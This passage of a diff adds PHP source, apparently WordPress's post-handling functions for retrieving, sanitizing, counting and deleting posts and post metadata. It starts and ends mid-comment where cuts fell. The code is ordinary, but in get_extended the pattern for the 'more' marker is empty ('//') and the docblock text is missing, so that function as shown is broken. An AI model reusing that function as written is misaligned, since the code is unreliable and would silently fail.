generally as an + * example of what is possible. + * + * The arguments listed as defaults are for this function and also of the + * {@link get_posts()} function. The arguments are combined with the + * get_children defaults and are then passed to the {@link get_posts()} + * function, which accepts additional arguments. You can replace the defaults in + * this function, listed below and the additional arguments listed in the + * {@link get_posts()} function. + * + * The 'post_parent' is the most important argument and important attention + * needs to be paid to the $args parameter. If you pass either an object or an + * integer (number), then just the 'post_parent' is grabbed and everything else + * is lost. If you don't specify any arguments, then it is assumed that you are + * in The Loop and the post parent will be grabbed for from the current post. + * + * The 'post_parent' argument is the ID to get the children. The 'numberposts' + * is the amount of posts to retrieve that has a default of '-1', which is + * used to get all of the posts. Giving a number higher than 0 will only + * retrieve that amount of posts. + * + * The 'post_type' and 'post_status' arguments can be used to choose what + * criteria of posts to retrieve. The 'post_type' can be anything, but WordPress + * post types are 'post', 'pages', and 'attachments'. The 'post_status' + * argument will accept any post status within the write administration panels. + * + * @see get_posts() Has additional arguments that can be replaced. + * @internal Claims made in the long description might be inaccurate. + * + * @since 2.0.0 + * + * @param mixed $args Optional. User defined arguments for replacing the defaults. + * @param string $output Optional. Constant for return type, either OBJECT (default), ARRAY_A, ARRAY_N. + * @return array|bool False on failure and the type will be determined by $output parameter. + */ +function &get_children($args = '', $output = OBJECT) { + $kids = array(); + if ( empty( $args ) ) { + if ( isset( $GLOBALS['post'] ) ) { + $args = array('post_parent' => (int) $GLOBALS['post']->post_parent ); + } else { + return $kids; + } + } elseif ( is_object( $args ) ) { + $args = array('post_parent' => (int) $args->post_parent ); + } elseif ( is_numeric( $args ) ) { + $args = array('post_parent' => (int) $args); + } + + $defaults = array( + 'numberposts' => -1, 'post_type' => 'any', + 'post_status' => 'any', 'post_parent' => 0, + ); + + $r = wp_parse_args( $args, $defaults ); + + $children = get_posts( $r ); + + if ( !$children ) + return $kids; + + update_post_cache($children); + + foreach ( $children as $key => $child ) + $kids[$child->ID] =& $children[$key]; + + if ( $output == OBJECT ) { + return $kids; + } elseif ( $output == ARRAY_A ) { + foreach ( (array) $kids as $kid ) + $weeuns[$kid->ID] = get_object_vars($kids[$kid->ID]); + return $weeuns; + } elseif ( $output == ARRAY_N ) { + foreach ( (array) $kids as $kid ) + $babes[$kid->ID] = array_values(get_object_vars($kids[$kid->ID])); + return $babes; + } else { + return $kids; + } +} + +/** + * Get extended entry info (). + * + * There should not be any space after the second dash and before the word + * 'more'. There can be text or space(s) after the word 'more', but won't be + * referenced. + * + * The returned array has 'main' and 'extended' keys. Main has the text before + * the . The 'extended' key has the content after the + * comment. + * + * @since 1.0.0 + * + * @param string $post Post content. + * @return array Post before ('main') and after ('extended'). + */ +function get_extended($post) { + //Match the new style more links + if ( preg_match('//', $post, $matches) ) { + list($main, $extended) = explode($matches[0], $post, 2); + } else { + $main = $post; + $extended = ''; + } + + // Strip leading and trailing whitespace + $main = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $main); + $extended = preg_replace('/^[\s]*(.*)[\s]*$/', '\\1', $extended); + + return array('main' => $main, 'extended' => $extended); +} + +/** + * Retrieves post data given a post ID or post object. + * + * See {@link sanitize_post()} for optional $filter values. Also, the parameter + * $post, must be given as a variable, since it is passed by reference. + * + * @since 1.5.1 + * @uses $wpdb + * @link http://codex.wordpress.org/Function_Reference/get_post + * + * @param int|object $post Post ID or post object. + * @param string $output Optional, default is Object. Either OBJECT, ARRAY_A, or ARRAY_N. + * @param string $filter Optional, default is raw. + * @return mixed Post data + */ +function &get_post(&$post, $output = OBJECT, $filter = 'raw') { + global $wpdb; + $null = null; + + if ( empty($post) ) { + if ( isset($GLOBALS['post']) ) + $_post = & $GLOBALS['post']; + else + return $null; + } elseif ( is_object($post) && empty($post->filter) ) { + _get_post_ancestors($post); + $_post = sanitize_post($post, 'raw'); + wp_cache_add($post->ID, $_post, 'posts'); + } else { + if ( is_object($post) ) + $post = $post->ID; + $post = (int) $post; + if ( ! $_post = wp_cache_get($post, 'posts') ) { + $_post = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d LIMIT 1", $post)); + if ( ! $_post ) + return $null; + _get_post_ancestors($_post); + $_post = sanitize_post($_post, 'raw'); + wp_cache_add($_post->ID, $_post, 'posts'); + } + } + + if ($filter != 'raw') + $_post = sanitize_post($_post, $filter); + + if ( $output == OBJECT ) { + return $_post; + } elseif ( $output == ARRAY_A ) { + $__post = get_object_vars($_post); + return $__post; + } elseif ( $output == ARRAY_N ) { + $__post = array_values(get_object_vars($_post)); + return $__post; + } else { + return $_post; + } +} + +/** + * Retrieve ancestors of a post. + * + * @since 2.5.0 + * + * @param int|object $post Post ID or post object + * @return array Ancestor IDs or empty array if none are found. + */ +function get_post_ancestors($post) { + $post = get_post($post); + + if ( !empty($post->ancestors) ) + return $post->ancestors; + + return array(); +} + +/** + * Retrieve data from a post field based on Post ID. + * + * Examples of the post field will be, 'post_type', 'post_status', 'content', + * etc and based off of the post object property or key names. + * + * The context values are based off of the taxonomy filter functions and + * supported values are found within those functions. + * + * @since 2.3.0 + * @uses sanitize_post_field() See for possible $context values. + * + * @param string $field Post field name + * @param id $post Post ID + * @param string $context Optional. How to filter the field. Default is display. + * @return WP_Error|string Value in post field or WP_Error on failure + */ +function get_post_field( $field, $post, $context = 'display' ) { + $post = (int) $post; + $post = get_post( $post ); + + if ( is_wp_error($post) ) + return $post; + + if ( !is_object($post) ) + return ''; + + if ( !isset($post->$field) ) + return ''; + + return sanitize_post_field($field, $post->$field, $post->ID, $context); +} + +/** + * Retrieve the mime type of an attachment based on the ID. + * + * This function can be used with any post type, but it makes more sense with + * attachments. + * + * @since 2.0.0 + * + * @param int $ID Optional. Post ID. + * @return bool|string False on failure or returns the mime type + */ +function get_post_mime_type($ID = '') { + $post = & get_post($ID); + + if ( is_object($post) ) + return $post->post_mime_type; + + return false; +} + +/** + * Retrieve the post status based on the Post ID. + * + * If the post ID is of an attachment, then the parent post status will be given + * instead. + * + * @since 2.0.0 + * + * @param int $ID Post ID + * @return string|bool Post status or false on failure. + */ +function get_post_status($ID = '') { + $post = get_post($ID); + + if ( is_object($post) ) { + if ( ('attachment' == $post->post_type) && $post->post_parent && ($post->ID != $post->post_parent) ) + return get_post_status($post->post_parent); + else + return $post->post_status; + } + + return false; +} + +/** + * Retrieve all of the WordPress supported post statuses. + * + * Posts have a limited set of valid status values, this provides the + * post_status values and descriptions. + * + * @since 2.5.0 + * + * @return array List of post statuses. + */ +function get_post_statuses( ) { + $status = array( + 'draft' => __('Draft'), + 'pending' => __('Pending Review'), + 'private' => __('Private'), + 'publish' => __('Published') + ); + + return $status; +} + +/** + * Retrieve all of the WordPress support page statuses. + * + * Pages have a limited set of valid status values, this provides the + * post_status values and descriptions. + * + * @since 2.5.0 + * + * @return array List of page statuses. + */ +function get_page_statuses( ) { + $status = array( + 'draft' => __('Draft'), + 'private' => __('Private'), + 'publish' => __('Published') + ); + + return $status; +} + +/** + * Retrieve the post type of the current post or of a given post. + * + * @since 2.1.0 + * + * @uses $wpdb + * @uses $posts The Loop post global + * + * @param mixed $post Optional. Post object or post ID. + * @return bool|string post type or false on failure. + */ +function get_post_type($post = false) { + global $posts; + + if ( false === $post ) + $post = $posts[0]; + elseif ( (int) $post ) + $post = get_post($post, OBJECT); + + if ( is_object($post) ) + return $post->post_type; + + return false; +} + +/** + * Get a list of all registered post type objects. + * + * @package WordPress + * @subpackage Post + * @since 2.9.0 + * @uses $wp_post_types + * @see register_post_type + * @see get_post_types + * + * @param array|string $args An array of key => value arguments to match against the post types. + * Only post types having attributes that match all arguments are returned. + * @param string $output The type of output to return, either post type 'names' or 'objects'. 'names' is the default. + * @return array A list of post type names or objects + */ +function get_post_types( $args = array(), $output = 'names' ) { + global $wp_post_types; + + $do_names = false; + if ( 'names' == $output ) + $do_names = true; + + $post_types = array(); + foreach ( (array) $wp_post_types as $post_type ) { + if ( empty($args) ) { + if ( $do_names ) + $post_types[] = $post_type->name; + else + $post_types[] = $post_type; + } elseif ( array_intersect_assoc((array) $post_type, $args) ) { + if ( $do_names ) + $post_types[] = $post_type->name; + else + $post_types[] = $post_type; + } + } + + return $post_types; +} + +/** + * Register a post type. Do not use before init. + * + * A simple function for creating or modifying a post type based on the + * parameters given. The function will accept an array (second optional + * parameter), along with a string for the post type name. + * + * + * Optional $args contents: + * + * exclude_from_search - Whether to exclude posts with this post type from search results. Defaults to true. + * + * @package WordPress + * @subpackage Post + * @since 2.9.0 + * @uses $wp_post_types Inserts new post type object into the list + * + * @param string $post_type Name of the post type. + * @param array|string $args See above description. + */ +function register_post_type($post_type, $args = array()) { + global $wp_post_types; + + if (!is_array($wp_post_types)) + $wp_post_types = array(); + + $defaults = array('exclude_from_search' => true); + $args = wp_parse_args($args, $defaults); + + $post_type = sanitize_user($post_type, true); + $args['name'] = $post_type; + $wp_post_types[$post_type] = (object) $args; +} + +/** + * Updates the post type for the post ID. + * + * The page or post cache will be cleaned for the post ID. + * + * @since 2.5.0 + * + * @uses $wpdb + * + * @param int $post_id Post ID to change post type. Not actually optional. + * @param string $post_type Optional, default is post. Supported values are 'post' or 'page' to + * name a few. + * @return int Amount of rows changed. Should be 1 for success and 0 for failure. + */ +function set_post_type( $post_id = 0, $post_type = 'post' ) { + global $wpdb; + + $post_type = sanitize_post_field('post_type', $post_type, $post_id, 'db'); + $return = $wpdb->update($wpdb->posts, array('post_type' => $post_type), array('ID' => $post_id) ); + + if ( 'page' == $post_type ) + clean_page_cache($post_id); + else + clean_post_cache($post_id); + + return $return; +} + +/** + * Retrieve list of latest posts or posts matching criteria. + * + * The defaults are as follows: + * 'numberposts' - Default is 5. Total number of posts to retrieve. + * 'offset' - Default is 0. See {@link WP_Query::query()} for more. + * 'category' - What category to pull the posts from. + * 'orderby' - Default is 'post_date'. How to order the posts. + * 'order' - Default is 'DESC'. The order to retrieve the posts. + * 'include' - See {@link WP_Query::query()} for more. + * 'exclude' - See {@link WP_Query::query()} for more. + * 'meta_key' - See {@link WP_Query::query()} for more. + * 'meta_value' - See {@link WP_Query::query()} for more. + * 'post_type' - Default is 'post'. Can be 'page', or 'attachment' to name a few. + * 'post_parent' - The parent of the post or post type. + * 'post_status' - Default is 'published'. Post status to retrieve. + * + * @since 1.2.0 + * @uses $wpdb + * @uses WP_Query::query() See for more default arguments and information. + * @link http://codex.wordpress.org/Template_Tags/get_posts + * + * @param array $args Optional. Overrides defaults. + * @return array List of posts. + */ +function get_posts($args = null) { + $defaults = array( + 'numberposts' => 5, 'offset' => 0, + 'category' => 0, 'orderby' => 'post_date', + 'order' => 'DESC', 'include' => '', + 'exclude' => '', 'meta_key' => '', + 'meta_value' =>'', 'post_type' => 'post', + 'suppress_filters' => true + ); + + $r = wp_parse_args( $args, $defaults ); + if ( empty( $r['post_status'] ) ) + $r['post_status'] = ( 'attachment' == $r['post_type'] ) ? 'inherit' : 'publish'; + if ( ! empty($r['numberposts']) ) + $r['posts_per_page'] = $r['numberposts']; + if ( ! empty($r['category']) ) + $r['cat'] = $r['category']; + if ( ! empty($r['include']) ) { + $incposts = preg_split('/[\s,]+/',$r['include']); + $r['posts_per_page'] = count($incposts); // only the number of posts included + $r['post__in'] = $incposts; + } elseif ( ! empty($r['exclude']) ) + $r['post__not_in'] = preg_split('/[\s,]+/',$r['exclude']); + + $r['caller_get_posts'] = true; + + $get_posts = new WP_Query; + return $get_posts->query($r); + +} + +// +// Post meta functions +// + +/** + * Add meta data field to a post. + * + * Post meta data is called "Custom Fields" on the Administration Panels. + * + * @since 1.5.0 + * @uses $wpdb + * @link http://codex.wordpress.org/Function_Reference/add_post_meta + * + * @param int $post_id Post ID. + * @param string $key Metadata name. + * @param mixed $value Metadata value. + * @param bool $unique Optional, default is false. Whether the same key should not be added. + * @return bool False for failure. True for success. + */ +function add_post_meta($post_id, $meta_key, $meta_value, $unique = false) { + // make sure meta is added to the post, not a revision + if ( $the_post = wp_is_post_revision($post_id) ) + $post_id = $the_post; + + return add_metadata('post', $post_id, $meta_key, $meta_value, $unique); +} + +/** + * Remove metadata matching criteria from a post. + * + * You can match based on the key, or key and value. Removing based on key and + * value, will keep from removing duplicate metadata with the same key. It also + * allows removing all metadata matching key, if needed. + * + * @since 1.5.0 + * @uses $wpdb + * @link http://codex.wordpress.org/Function_Reference/delete_post_meta + * + * @param int $post_id post ID + * @param string $meta_key Metadata name. + * @param mixed $meta_value Optional. Metadata value. + * @return bool False for failure. True for success. + */ +function delete_post_meta($post_id, $meta_key, $meta_value = '') { + // make sure meta is added to the post, not a revision + if ( $the_post = wp_is_post_revision($post_id) ) + $post_id = $the_post; + + return delete_metadata('post', $post_id, $meta_key, $meta_value); +} + +/** + * Retrieve post meta field for a post. + * + * @since 1.5.0 + * @uses $wpdb + * @link http://codex.wordpress.org/Function_Reference/get_post_meta + * + * @param int $post_id Post ID. + * @param string $key The meta key to retrieve. + * @param bool $single Whether to return a single value. + * @return mixed Will be an array if $single is false. Will be value of meta data field if $single + * is true. + */ +function get_post_meta($post_id, $key, $single = false) { + return get_metadata('post', $post_id, $key, $single); +} + +/** + * Update post meta field based on post ID. + * + * Use the $prev_value parameter to differentiate between meta fields with the + * same key and post ID. + * + * If the meta field for the post does not exist, it will be added. + * + * @since 1.5 + * @uses $wpdb + * @link http://codex.wordpress.org/Function_Reference/update_post_meta + * + * @param int $post_id Post ID. + * @param string $key Metadata key. + * @param mixed $value Metadata value. + * @param mixed $prev_value Optional. Previous value to check before removing. + * @return bool False on failure, true if success. + */ +function update_post_meta($post_id, $meta_key, $meta_value, $prev_value = '') { + // make sure meta is added to the post, not a revision + if ( $the_post = wp_is_post_revision($post_id) ) + $post_id = $the_post; + + return update_metadata('post', $post_id, $meta_key, $meta_value, $prev_value); +} + +/** + * Delete everything from post meta matching meta key. + * + * @since 2.3.0 + * @uses $wpdb + * + * @param string $post_meta_key Key to search for when deleting. + * @return bool Whether the post meta key was deleted from the database + */ +function delete_post_meta_by_key($post_meta_key) { + if ( !$post_meta_key ) + return false; + + global $wpdb; + $post_ids = $wpdb->get_col($wpdb->prepare("SELECT DISTINCT post_id FROM $wpdb->postmeta WHERE meta_key = %s", $post_meta_key)); + if ( $post_ids ) { + $postmetaids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE meta_key = %s", $post_meta_key ) ); + $in = implode( ',', array_fill(1, count($postmetaids), '%d')); + do_action( 'delete_postmeta', $postmetaids ); + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->postmeta WHERE meta_id IN($in)", $postmetaids )); + do_action( 'deleted_postmeta', $postmetaids ); + foreach ( $post_ids as $post_id ) + wp_cache_delete($post_id, 'post_meta'); + return true; + } + return false; +} + +/** + * Retrieve post meta fields, based on post ID. + * + * The post meta fields are retrieved from the cache, so the function is + * optimized to be called more than once. It also applies to the functions, that + * use this function. + * + * @since 1.2.0 + * @link http://codex.wordpress.org/Function_Reference/get_post_custom + * + * @uses $id Current Loop Post ID + * + * @param int $post_id post ID + * @return array + */ +function get_post_custom($post_id = 0) { + global $id; + + if ( !$post_id ) + $post_id = (int) $id; + + $post_id = (int) $post_id; + + if ( ! wp_cache_get($post_id, 'post_meta') ) + update_postmeta_cache($post_id); + + return wp_cache_get($post_id, 'post_meta'); +} + +/** + * Retrieve meta field names for a post. + * + * If there are no meta fields, then nothing (null) will be returned. + * + * @since 1.2.0 + * @link http://codex.wordpress.org/Function_Reference/get_post_custom_keys + * + * @param int $post_id post ID + * @return array|null Either array of the keys, or null if keys could not be retrieved. + */ +function get_post_custom_keys( $post_id = 0 ) { + $custom = get_post_custom( $post_id ); + + if ( !is_array($custom) ) + return; + + if ( $keys = array_keys($custom) ) + return $keys; +} + +/** + * Retrieve values for a custom post field. + * + * The parameters must not be considered optional. All of the post meta fields + * will be retrieved and only the meta field key values returned. + * + * @since 1.2.0 + * @link http://codex.wordpress.org/Function_Reference/get_post_custom_values + * + * @param string $key Meta field key. + * @param int $post_id Post ID + * @return array Meta field values. + */ +function get_post_custom_values( $key = '', $post_id = 0 ) { + if ( !$key ) + return null; + + $custom = get_post_custom($post_id); + + return isset($custom[$key]) ? $custom[$key] : null; +} + +/** + * Check if post is sticky. + * + * Sticky posts should remain at the top of The Loop. If the post ID is not + * given, then The Loop ID for the current post will be used. + * + * @since 2.7.0 + * + * @param int $post_id Optional. Post ID. + * @return bool Whether post is sticky (true) or not sticky (false). + */ +function is_sticky($post_id = null) { + global $id; + + $post_id = absint($post_id); + + if ( !$post_id ) + $post_id = absint($id); + + $stickies = get_option('sticky_posts'); + + if ( !is_array($stickies) ) + return false; + + if ( in_array($post_id, $stickies) ) + return true; + + return false; +} + +/** + * Sanitize every post field. + * + * If the context is 'raw', then the post object or array will get minimal santization of the int fields. + * + * @since 2.3.0 + * @uses sanitize_post_field() Used to sanitize the fields. + * + * @param object|array $post The Post Object or Array + * @param string $context Optional, default is 'display'. How to sanitize post fields. + * @return object|array The now sanitized Post Object or Array (will be the same type as $post) + */ +function sanitize_post($post, $context = 'display') { + if ( is_object($post) ) { + // Check if post already filtered for this context + if ( isset($post->filter) && $context == $post->filter ) + return $post; + if ( !isset($post->ID) ) + $post->ID = 0; + foreach ( array_keys(get_object_vars($post)) as $field ) + $post->$field = sanitize_post_field($field, $post->$field, $post->ID, $context); + $post->filter = $context; + } else { + // Check if post already filtered for this context + if ( isset($post['filter']) && $context == $post['filter'] ) + return $post; + if ( !isset($post['ID']) ) + $post['ID'] = 0; + foreach ( array_keys($post) as $field ) + $post[$field] = sanitize_post_field($field, $post[$field], $post['ID'], $context); + $post['filter'] = $context; + } + + return $post; +} + +/** + * Sanitize post field based on context. + * + * Possible context values are: 'raw', 'edit', 'db', 'display', 'attribute' and 'js'. The + * 'display' context is used by default. 'attribute' and 'js' contexts are treated like 'display' + * when calling filters. + * + * @since 2.3.0 + * @uses apply_filters() Calls 'edit_$field' and '${field_no_prefix}_edit_pre' passing $value and + * $post_id if $context == 'edit' and field name prefix == 'post_'. + * + * @uses apply_filters() Calls 'edit_post_$field' passing $value and $post_id if $context == 'db'. + * @uses apply_filters() Calls 'pre_$field' passing $value if $context == 'db' and field name prefix == 'post_'. + * @uses apply_filters() Calls '${field}_pre' passing $value if $context == 'db' and field name prefix != 'post_'. + * + * @uses apply_filters() Calls '$field' passing $value, $post_id and $context if $context == anything + * other than 'raw', 'edit' and 'db' and field name prefix == 'post_'. + * @uses apply_filters() Calls 'post_$field' passing $value if $context == anything other than 'raw', + * 'edit' and 'db' and field name prefix != 'post_'. + * + * @param string $field The Post Object field name. + * @param mixed $value The Post Object value. + * @param int $post_id Post ID. + * @param string $context How to sanitize post fields. Looks for 'raw', 'edit', 'db', 'display', + * 'attribute' and 'js'. + * @return mixed Sanitized value. + */ +function sanitize_post_field($field, $value, $post_id, $context) { + $int_fields = array('ID', 'post_parent', 'menu_order'); + if ( in_array($field, $int_fields) ) + $value = (int) $value; + + if ( 'raw' == $context ) + return $value; + + $prefixed = false; + if ( false !== strpos($field, 'post_') ) { + $prefixed = true; + $field_no_prefix = str_replace('post_', '', $field); + } + + if ( 'edit' == $context ) { + $format_to_edit = array('post_content', 'post_excerpt', 'post_title', 'post_password'); + + if ( $prefixed ) { + $value = apply_filters("edit_$field", $value, $post_id); + // Old school + $value = apply_filters("${field_no_prefix}_edit_pre", $value, $post_id); + } else { + $value = apply_filters("edit_post_$field", $value, $post_id); + } + + if ( in_array($field, $format_to_edit) ) { + if ( 'post_content' == $field ) + $value = format_to_edit($value, user_can_richedit()); + else + $value = format_to_edit($value); + } else { + $value = esc_attr($value); + } + } else if ( 'db' == $context ) { + if ( $prefixed ) { + $value = apply_filters("pre_$field", $value); + $value = apply_filters("${field_no_prefix}_save_pre", $value); + } else { + $value = apply_filters("pre_post_$field", $value); + $value = apply_filters("${field}_pre", $value); + } + } else { + // Use display filters by default. + if ( $prefixed ) + $value = apply_filters($field, $value, $post_id, $context); + else + $value = apply_filters("post_$field", $value, $post_id, $context); + } + + if ( 'attribute' == $context ) + $value = esc_attr($value); + else if ( 'js' == $context ) + $value = esc_js($value); + + return $value; +} + +/** + * Make a post sticky. + * + * Sticky posts should be displayed at the top of the front page. + * + * @since 2.7.0 + * + * @param int $post_id Post ID. + */ +function stick_post($post_id) { + $stickies = get_option('sticky_posts'); + + if ( !is_array($stickies) ) + $stickies = array($post_id); + + if ( ! in_array($post_id, $stickies) ) + $stickies[] = $post_id; + + update_option('sticky_posts', $stickies); +} + +/** + * Unstick a post. + * + * Sticky posts should be displayed at the top of the front page. + * + * @since 2.7.0 + * + * @param int $post_id Post ID. + */ +function unstick_post($post_id) { + $stickies = get_option('sticky_posts'); + + if ( !is_array($stickies) ) + return; + + if ( ! in_array($post_id, $stickies) ) + return; + + $offset = array_search($post_id, $stickies); + if ( false === $offset ) + return; + + array_splice($stickies, $offset, 1); + + update_option('sticky_posts', $stickies); +} + +/** + * Count number of posts of a post type and is user has permissions to view. + * + * This function provides an efficient method of finding the amount of post's + * type a blog has. Another method is to count the amount of items in + * get_posts(), but that method has a lot of overhead with doing so. Therefore, + * when developing for 2.5+, use this function instead. + * + * The $perm parameter checks for 'readable' value and if the user can read + * private posts, it will display that for the user that is signed in. + * + * @since 2.5.0 + * @link http://codex.wordpress.org/Template_Tags/wp_count_posts + * + * @param string $type Optional. Post type to retrieve count + * @param string $perm Optional. 'readable' or empty. + * @return object Number of posts for each status + */ +function wp_count_posts( $type = 'post', $perm = '' ) { + global $wpdb; + + $user = wp_get_current_user(); + + $cache_key = $type; + + $query = "SELECT post_status, COUNT( * ) AS num_posts FROM {$wpdb->posts} WHERE post_type = %s"; + if ( 'readable' == $perm && is_user_logged_in() ) { + if ( !current_user_can("read_private_{$type}s") ) { + $cache_key .= '_' . $perm . '_' . $user->ID; + $query .= " AND (post_status != 'private' OR ( post_author = '$user->ID' AND post_status = 'private' ))"; + } + } + $query .= ' GROUP BY post_status'; + + $count = wp_cache_get($cache_key, 'counts'); + if ( false !== $count ) + return $count; + + $count = $wpdb->get_results( $wpdb->prepare( $query, $type ), ARRAY_A ); + + $stats = array( 'publish' => 0, 'private' => 0, 'draft' => 0, 'pending' => 0, 'future' => 0, 'trash' => 0 ); + foreach( (array) $count as $row_num => $row ) { + $stats[$row['post_status']] = $row['num_posts']; + } + + $stats = (object) $stats; + wp_cache_set($cache_key, $stats, 'counts'); + + return $stats; +} + + +/** + * Count number of attachments for the mime type(s). + * + * If you set the optional mime_type parameter, then an array will still be + * returned, but will only have the item you are looking for. It does not give + * you the number of attachments that are children of a post. You can get that + * by counting the number of children that post has. + * + * @since 2.5.0 + * + * @param string|array $mime_type Optional. Array or comma-separated list of MIME patterns. + * @return array Number of posts for each mime type. + */ +function wp_count_attachments( $mime_type = '' ) { + global $wpdb; + + $and = wp_post_mime_type_where( $mime_type ); + $count = $wpdb->get_results( "SELECT post_mime_type, COUNT( * ) AS num_posts FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status != 'trash' $and GROUP BY post_mime_type", ARRAY_A ); + + $stats = array( ); + foreach( (array) $count as $row ) { + $stats[$row['post_mime_type']] = $row['num_posts']; + } + $stats['trash'] = $wpdb->get_var( "SELECT COUNT( * ) FROM $wpdb->posts WHERE post_type = 'attachment' AND post_status = 'trash' $and"); + + return (object) $stats; +} + +/** + * Check a MIME-Type against a list. + * + * If the wildcard_mime_types parameter is a string, it must be comma separated + * list. If the real_mime_types is a string, it is also comma separated to + * create the list. + * + * @since 2.5.0 + * + * @param string|array $wildcard_mime_types e.g. audio/mpeg or image (same as image/*) or + * flash (same as *flash*). + * @param string|array $real_mime_types post_mime_type values + * @return array array(wildcard=>array(real types)) + */ +function wp_match_mime_types($wildcard_mime_types, $real_mime_types) { + $matches = array(); + if ( is_string($wildcard_mime_types) ) + $wildcard_mime_types = array_map('trim', explode(',', $wildcard_mime_types)); + if ( is_string($real_mime_types) ) + $real_mime_types = array_map('trim', explode(',', $real_mime_types)); + $wild = '[-._a-z0-9]*'; + foreach ( (array) $wildcard_mime_types as $type ) { + $type = str_replace('*', $wild, $type); + $patternses[1][$type] = "^$type$"; + if ( false === strpos($type, '/') ) { + $patternses[2][$type] = "^$type/"; + $patternses[3][$type] = $type; + } + } + asort($patternses); + foreach ( $patternses as $patterns ) + foreach ( $patterns as $type => $pattern ) + foreach ( (array) $real_mime_types as $real ) + if ( preg_match("#$pattern#", $real) && ( empty($matches[$type]) || false === array_search($real, $matches[$type]) ) ) + $matches[$type][] = $real; + return $matches; +} + +/** + * Convert MIME types into SQL. + * + * @since 2.5.0 + * + * @param string|array $mime_types List of mime types or comma separated string of mime types. + * @return string The SQL AND clause for mime searching. + */ +function wp_post_mime_type_where($post_mime_types) { + $where = ''; + $wildcards = array('', '%', '%/%'); + if ( is_string($post_mime_types) ) + $post_mime_types = array_map('trim', explode(',', $post_mime_types)); + foreach ( (array) $post_mime_types as $mime_type ) { + $mime_type = preg_replace('/\s/', '', $mime_type); + $slashpos = strpos($mime_type, '/'); + if ( false !== $slashpos ) { + $mime_group = preg_replace('/[^-*.a-zA-Z0-9]/', '', substr($mime_type, 0, $slashpos)); + $mime_subgroup = preg_replace('/[^-*.+a-zA-Z0-9]/', '', substr($mime_type, $slashpos + 1)); + if ( empty($mime_subgroup) ) + $mime_subgroup = '*'; + else + $mime_subgroup = str_replace('/', '', $mime_subgroup); + $mime_pattern = "$mime_group/$mime_subgroup"; + } else { + $mime_pattern = preg_replace('/[^-*.a-zA-Z0-9]/', '', $mime_type); + if ( false === strpos($mime_pattern, '*') ) + $mime_pattern .= '/*'; + } + + $mime_pattern = preg_replace('/\*+/', '%', $mime_pattern); + + if ( in_array( $mime_type, $wildcards ) ) + return ''; + + if ( false !== strpos($mime_pattern, '%') ) + $wheres[] = "post_mime_type LIKE '$mime_pattern'"; + else + $wheres[] = "post_mime_type = '$mime_pattern'"; + } + if ( !empty($wheres) ) + $where = ' AND (' . join(' OR ', $wheres) . ') '; + return $where; +} + +/** + * Removes a post, attachment, or page. + * + * When the post and page goes, everything that is tied to it is deleted also. + * This includes comments, post meta fields, and terms associated with the post. + * + * @since 1.0.0 + * @uses do_action() on 'delete_post' before deletion unless post type is 'attachment'. + * @uses do_action() on 'deleted_post' after deletion unless post type is 'attachment'. + * @uses wp_delete_attachment() if post type is 'attachment'. + * + * @param int $postid Post ID. + * @param bool $force_delete Whether to bypass trash and force deletion + * @return mixed False on failure + */ +function wp_delete_post( $postid = 0, $force_delete = false ) { + global $wpdb, $wp_rewrite; + + if ( !$post = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->posts WHERE ID = %d", $postid)) ) + return $post; + + if ( !$force_delete && ( $post->post_type == 'post' || $post->post_type == 'page') && get_post_status( $postid ) != 'trash' && EMPTY_TRASH_DAYS > 0 ) + return wp_trash_post($postid); + + if ( $post->post_type == 'attachment' ) + return wp_delete_attachment( $postid, $force_delete ); + + do_action('delete_post', $postid); + + delete_post_meta($postid,'_wp_trash_meta_status'); + delete_post_meta($postid,'_wp_trash_meta_time'); + + wp_delete_object_term_relationships($postid, get_object_taxonomies($post->post_type)); + + $parent_data = array( 'post_parent' => $post->post_parent ); + $parent_where = array( 'post_parent' => $postid ); + + if ( 'page' == $post->post_type) { + // if the page is defined in option page_on_front or post_for_posts, + // adjust the corresponding options + if ( get_option('page_on_front') == $postid ) { + update_option('show_on_front', 'posts'); + delete_option('page_on_front'); + } + if ( get_option('page_for_posts') == $postid ) { + delete_option('page_for_posts'); + } + + // Point children of this page to its parent, also clean the cache of affected children + $children_query = $wpdb->prepare("SELECT * FROM $wpdb->posts WHERE post_parent = %d AND post_type='page'", $postid); + $children = $wpdb->get_results($children_query); + + $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'page' ) ); + } else { + unstick_post($postid); + } + + // Do raw query. wp_get_post_revisions() is filtered + $revision_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_parent = %d AND post_type = 'revision'", $postid ) ); + // Use wp_delete_post (via wp_delete_post_revision) again. Ensures any meta/misplaced data gets cleaned up. + foreach ( $revision_ids as $revision_id ) + wp_delete_post_revision( $revision_id ); + + // Point all attachments to this post up one level + $wpdb->update( $wpdb->posts, $parent_data, $parent_where + array( 'post_type' => 'attachment' ) ); + + $comment_ids = $wpdb->get_col( $wpdb->prepare( "SELECT comment_ID FROM $wpdb->comments WHERE comment_post_ID = %d", $postid )); + if ( ! empty($comment_ids) ) { + do_action( 'delete_comment', $comment_ids ); + $in_comment_ids = "'" . implode("', '", $comment_ids) . "'"; + $wpdb->query( "DELETE FROM $wpdb->comments WHERE comment_ID IN($in_comment_ids)" ); + do_action( 'deleted_comment', $comment_ids ); + } + + $post_meta_ids = $wpdb->get_col( $wpdb->prepare( "SELECT meta_id FROM $wpdb->postmeta WHERE post_id = %d ", $postid )); + if ( !empty($post_meta_ids) ) { + do_action( 'delete_postmeta', $post_meta_ids ); + $in_post_meta_ids = "'" . implode("', '", $post_meta_ids) . "'"; + $wpdb->query( "DELETE FROM $wpdb->postmeta WHERE meta_id IN($in_post_meta_ids)" ); + do_action( 'deleted_postmeta', $post_meta_ids ); + } + + do_action( 'delete_post', $postid ); + $wpdb->query( $wpdb->prepare( "DELETE FROM $wpdb->posts WHERE ID = %d", $postid )); + do_action( 'deleted_post', $postid ); + + if ( 'page' == $post->post_type ) { + clean_page_cache($postid); + + foreach ( (array) $children as $child ) + clean_page_cache($child->ID); + + $wp_rewrite->flush_rules(false); + } else { + clean_post_cache($postid); + } + + wp_clear_scheduled_hook('publish_future_post', $postid); + + do_action('deleted_post', $postid); + + return $post; +} + +/** + * Moves a post or page to the Trash + * + * @since 2.9.0 + * @uses do_action() on 'trash_post' before trashing + * 